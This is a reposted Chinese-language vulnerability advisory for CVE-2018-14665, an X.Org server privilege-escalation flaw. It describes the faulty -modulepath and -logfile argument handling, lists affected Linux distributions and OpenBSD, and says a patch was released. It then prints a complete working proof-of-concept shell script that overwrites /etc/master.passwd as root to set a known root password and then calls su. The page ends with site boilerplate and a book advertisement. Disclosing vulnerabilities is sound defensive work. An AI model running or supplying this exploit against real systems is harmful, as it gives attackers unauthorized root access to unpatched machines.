漏洞预警 | CVE-2018-14665 X.Org提权漏洞

栏目: 服务器 · 发布时间: 7年前

内容简介：X.Org X服务器中验证命令行参数时出现问题，将导致任意文件覆盖，攻击者可利用这个漏洞特性实现提权（攻击者用户安装且可使用X.Org）。漏洞产生于服务器对两个参数验证不正确，分别是“-modulepath与-logfile”。其中-modulepath参数可用来指定一个不安全的路径，并跨权限执行代码，-logfile参数则可用来在文件系统中实现任意文件覆盖。

CVE-2018-14665 X.Org存在严重的提权漏洞

X.Org X服务器中验证命令行参数时出现问题，将导致任意文件覆盖，攻击者可利用这个漏洞特性实现提权（攻击者用户安装且可使用X.Org）。

漏洞产生

漏洞产生于服务器对两个参数验证不正确，分别是“-modulepath与-logfile”。其中-modulepath参数可用来指定一个不安全的路径，并跨权限执行代码，-logfile参数则可用来在文件系统中实现任意文件覆盖。

漏洞修复

目前补丁已于25日发布，同时PoC也已经公布，用户应及时更新。

漏洞影响

Red Hat Enterprise Linux，Fedora，CentOS，Debian，Ubuntu与OpenBSD均已确认会受到此漏洞影响，其余发行版也可能受到影响。

PoC已被发布

#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root. 
# - https://hacker.house
echo [+] OpenBSD 6.4 stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old 
echo [+] type 'Password1' and hit enter for root
su -

漏洞预警 | CVE-2018-14665 X.Org提权漏洞

参考链接

https://cxsecurity.com/cveshow/CVE-2018-14665

Twitter @ hackerfantastic

以上就是本文的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，也希望大家多多支持码农网

查看所有标签

本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。

码农书籍

Data Structures and Algorithm Analysis in Java

Mark A. Weiss / Pearson / 2011-11-18 / GBP 129.99

Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course wa......一起来看看《Data Structures and Algorithm Analysis in Java》这本书的介绍吧!

码农工具